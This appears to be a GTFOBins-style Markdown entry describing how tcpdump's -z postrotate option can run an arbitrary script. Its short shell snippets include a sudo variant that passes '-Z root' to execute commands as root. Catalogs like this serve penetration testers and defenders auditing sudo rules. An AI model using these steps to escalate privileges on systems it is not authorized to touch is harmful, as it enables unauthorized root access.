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For certain distributions running tcpdump without providing -Z (user) argument causes the provided command to be executed as the `tcpdump` user which has low privileges by default.
22 lines
704 B
Markdown
22 lines
704 B
Markdown
---
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description: |
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These require some traffic to be actually captured. Also note that the subprocess is immediately sent to the background.
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In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the `postrotate-command` to a small subset of predefined commands thus preventing the execution of the following.
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functions:
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command:
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- code: |
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COMMAND='id'
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TF=$(mktemp)
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echo "$COMMAND" > $TF
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chmod +x $TF
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tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
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sudo:
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- code: |
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COMMAND='id'
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TF=$(mktemp)
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echo "$COMMAND" > $TF
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chmod +x $TF
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sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
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---
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